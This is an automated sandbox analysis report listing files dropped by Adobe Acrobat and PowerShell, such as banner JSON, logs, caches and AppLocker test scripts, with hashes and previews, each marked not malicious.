Size (bytes):	289
Entropy (8bit):	5.305296744771209
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJfYdPeUkwRe9:YvXKXAOIixEcyGg8Ukee9
MD5:	048481635F4525ABE8651CA087218A49
SHA1:	45A10CDDFEFE3261724007BE8DB56EA5684A7B84
SHA-256:	C1C96439550A889C2BFA6C2FCC5648CDEDB319E1551FD2FB8E513D7298F0794F
SHA-512:	2CCD4991A5D10D9DE3B394B5E9BA7F052C26BA5C522053700B3AFDA57D1ABE078BD698BC8972CCE6D4E28BC6649266EAC781178ED4256E1F4A1157E6B040B788
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.291122668609832
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJf+dPeUkwRe9:YvXKXAOIixEcyG28Ukee9
MD5:	6DA6AC5573DE08BFFF6308F2A04F311D
SHA1:	B55BBC1C24A9F62DD69913B7CA95A55E96C5C4E6
SHA-256:	E143298ADC5214E0EAECC07EF58031AE81F17C3E7CE5524A171CA6CD9A0A5790
SHA-512:	FF97ADB81740BADF998BF5BC8AAF7BFAE4740F2A79CEA6FA904FF296FEDD304E668E7A984539F10218D43332EACE98EA7410D78D82ED1B195E03973BC4D76BD5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.288807438700942
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJfbPtdPeUkwRe9:YvXKXAOIixEcyGDV8Ukee9
MD5:	70C3293717EAC102007FA18A41110877
SHA1:	90F95232A094BA4D2FFE8A3746F09A3AFF8A15C5
SHA-256:	735902450BF30E55337E6F9564C95C032A0111C50E0A08A5D5682B79AFF0547C
SHA-512:	DE23522EE7A6067A8FD1F07EF03609BD746A93B40DA48552E47541EB21137669005B381CDE2785C55D269861EEDE15243D472C8CA217041CC1B91489F55F632F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.292837350625385
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJf21rPeUkwRe9:YvXKXAOIixEcyG+16Ukee9
MD5:	20E2B529B58EECA0CD9373E30D4A885E
SHA1:	AB0E1562FD43D7D2D3131ABFC6C8ECA9FD91D43A
SHA-256:	2DC1069F44D8C63C2F68748E5B6080849CC4111335E7C9EC4344587D55101052
SHA-512:	BA27EEBA03BCC0A3FD7E6EAD18A9018AB0EB751E134CE354509302FE703B85C531073C89D9DC7090FC71412488E698CDE17F50F2F0FF45AB9EC9A268E37BFCFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665048782826619
Encrypted:	false
SSDEEP:	24:Yv6XAOVxpXamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSxY:YvlOfRBgkDMUJUAh8cvMe
MD5:	C7AC038A475DAB9D53C6593494089671
SHA1:	A1F789B4ED9689FC38CAB956AA4C96147A968CE6
SHA-256:	AB7864B27DFDD6A4CC15C5A8F484DBEA78CC4A41115870DD131F564C28F49831
SHA-512:	0381405E76044042F97B8D0A0FB319CC38D6BD1D23DC599583883A015C444CF9C36B71CD3F94315ED8863A5C50565130466CB667CE3B79F6086D516ECF59E427
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.269595534876276
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJfshHHrPeUkwRe9:YvXKXAOIixEcyGUUUkee9
MD5:	F0F9A959FF48A870234738EEDE88614D
SHA1:	FAF46A0ED0871D2BEC8962A07CDF691206F727E2
SHA-256:	B679EF0766AA1FC2819A265DD2399A22C81F7BD031B8C5388AC2DB9B914C0418
SHA-512:	55329B6EE8ACA2306D6288B431C97AF8413D99B94615D0DEA9EB445BEB8EAAE8D3E34B53DBFAA8032562B20690B4C053731E95DB837E2B996A2A70205CEB2E93
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.267204031300564
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEThydCVixE9EJmnZiQ0Y7eoAvJTqgFCrPeUkwRe9:YvXKXAOIixEcyGTq16Ukee9
MD5:	A07E32FB730888B956FCAEB23D8B589F
SHA1:	EA8631B559AD321227B1CFB21597DBE9E562E644
SHA-256:	001E89676FB9F3362669A15905FFE4DB7E2F6F53E6708B928322D47B8CA7E104
SHA-512:	F87F04765FB3828A73DF94C46AD8B00EF5786F9EB74D24282FA09DEB14FBA37BD9F71B6F7C8A3CEE3AD96FCD3562FA915CE43A1512DB452CC010AD1C81C6A42D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a695254-2182-46f7-b7c0-8ac2ab8a69d5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736703264080,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136732436552382
Encrypted:	false
SSDEEP:	24:Yzt243a5Pnayd/ZiY42fsZ3bLJUWhNkjUj0SE2wEI2su0K2LS2Cb7BhZlx++9P5l:YCHEykNfGmE2RwpXu0K4Y7Bhp/ZC4p9v
MD5:	BC46F4D6F0D2A96F2A998A14EBC89C59
SHA1:	98EACFCCBA0C9DC163B0FC7EA32548C2260006EC
SHA-256:	7FBAA93285E57409FCF97E50384D845AEDFF7C6C625BC18F8885894F5869CB0D
SHA-512:	EA1CCF33863833AB212B733E9213D9445E0B95C126E8E74FD8AA29919952EBED11C3F6FFA12568D79E37FDEDEFDEC4A2933193F4F02B09422C790BF2EA8C9D24
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"35691267bb922d2f582046ada904359f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736525454000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2d8059d7499cbbfa74f9c3c060efe93b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736525454000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ff52409d726ae4985247fe79a23074c3","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736525453000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b76973f0fcd96a432235f2b1b86ef24c","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736525453000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"aec1885d042333e7129a5251ac9d0803","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736525453000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"6284457ac5ce9789207d500ee7a4ec90","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1464686971628335
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursI80RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudc:TFl2GL7msGXc+XcGNFlRYIX2v3kb
MD5:	9AF95F37FFCB2C531A65E05B9E0ABF58
SHA1:	2DC3353E234F0947463D86B671833F9C08B23D89
SHA-256:	1B7F566379708D561E9E9D83D752BFFDDEA796D5ED68D6C86A393DB535B10F9D
SHA-512:	30E1F035794EC11216E689B555959F0BD79B864CCE23E1151E41CCA1FBAF35E6BF7BFABF32194EAA718FB6178E7D83A8B2CF62353FBDA8483D657678E94A083F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.551777122790151
Encrypted:	false
SSDEEP:	24:7+tBj80UXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxLXqLxx/s:7MBGXc+XcGNFlRYIX2vWXqVl2GL7msW
MD5:	C5B4137C6CF209693FE3E013B1A4D9D9
SHA1:	D0219CCEC9C671F66071DBAC7CDC90A4850B0AEB
SHA-256:	3D0570CEBA1AEFE8D405361F839021F256647755D3A8B183B390E847E5FE453C
SHA-512:	9743E1A40D92533B7A29AB8A820718F514445009A5EF461EF91303A1BC732F0B6048A8111C7691DF9785BC9FA2D2E7AF9E97698AB0F888B9D942F47EFE86BA7D
Malicious:	false
Preview:	.... .c.......&...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgvMhxWOhPPoTcLYFEvVOEKg5GXYyu:6a6TZ44ADEvMhzPPyOMENOEAK
MD5:	4DCC6AB5A3FD0C8DD995FB7AF608D63C
SHA1:	B10AB7FC14CB0A76E2AF82B0051BA2EF32BA0C32
SHA-256:	697C698D5A6FADD2C7E28DA121F4D1FC424CF9D6CAB51CDA3251A168F177E0F4
SHA-512:	E37417224657C39E8C60C1EFA5A368B2D4FA62D7236045479412F3B0857C95102A64D6F51F5EE3BE4D42215D79D55B5F6752CDC91B28A08F9744B6FFE3B3B420
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIadf50.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.480509342724737
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEdow:Qw946cPbiOxDlbYnuRK+bDaw
MD5:	A5A8CFBCD621A7C7AF2D586BDBF2489B
SHA1:	C43E3ADBCD2EDC3992FC046F0C08F76A5172C151
SHA-256:	3FE52EA6AE939402965FB06112FCB5B016CF6B992A9BD68CF575FC322F548024
SHA-512:	5252E9040AB3D1AC4D708767D01291B35E69F45BB83D83CE857FA64F820B9BBC7E4F9878D040265D570E7E448D79B80A82237F3A489E39CEF365EE5043399E77
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.1.0.:.5.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uhaq4tkr.roe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zeusxaqq.1ms.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-10-49-282.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15111
Entropy (8bit):	5.298314459177725
Encrypted:	false
SSDEEP:	384:XMAtAARUPdyClfJkGGqdAiBM0/0EE/n5K9L3l9NHzU46IEmumxNf070hIQqGzSy6:+NS
MD5:	1DE8B1A2130834DFF7F1C1F1E00459DA
SHA1:	B709BBD7018F4AC0941AC2B06C5FEA6E27830A7A
SHA-256:	3D41AF4555EBFDC5A3C8FA2BD2468F38E81EC69F7AFB3287F750970954FA348B
SHA-512:	7CF99B453FECB67A2E18D76E2416B8BFDD5BED61B33CF4047839B53574CDDA7007B3F6BE691B783897CC60D9E9BF27DFA35192BF191C9A1C8E7953058CE711DD
Malicious:	false
Preview:	SessionID=b1331bee-ccce-4d56-b06d-a13b071ec350.1736525449292 Timestamp=2025-01-10T11:10:49:292-0500 ThreadID=2016 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b1331bee-ccce-4d56-b06d-a13b071ec350.1736525449292 Timestamp=2025-01-10T11:10:49:293-0500 ThreadID=2016 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b1331bee-ccce-4d56-b06d-a13b071ec350.1736525449292 Timestamp=2025-01-10T11:10:49:293-0500 ThreadID=2016 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b1331bee-ccce-4d56-b06d-a13b071ec350.1736525449292 Timestamp=2025-01-10T11:10:49:293-0500 ThreadID=2016 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b1331bee-ccce-4d56-b06d-a13b071ec350.1736525449292 Timestamp=2025-01-10T11:10:49:293-0500 ThreadID=2016 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400246862860167
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbVCcbUInLcbiy:V3fOCIdJDez5npy
MD5:	249DA6A3819B0AA00C32044AD431367F
SHA1:	857EAA286B8D9E1E7FF2CEA6A3D8591C3758168A
SHA-256:	E4622A97EE9B3C57A189BCB08BDED09D4AA20183A6F09960C05DC8B517D7E8FB
SHA-512:	82AE1E98807D09FAEA573C0AB840D7883C2A8098A9A86F75DEF8A3E91D2F25EC68166E306B3F19B7DCCF18A0B5DA20AA1662821E905670B5FFBCDA911E50F832
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\00c8abc4-b94a-467b-beb3-75e41a0abe49.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\0d546a12-0bd2-4fe4-a2a6-87d8f71987e8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
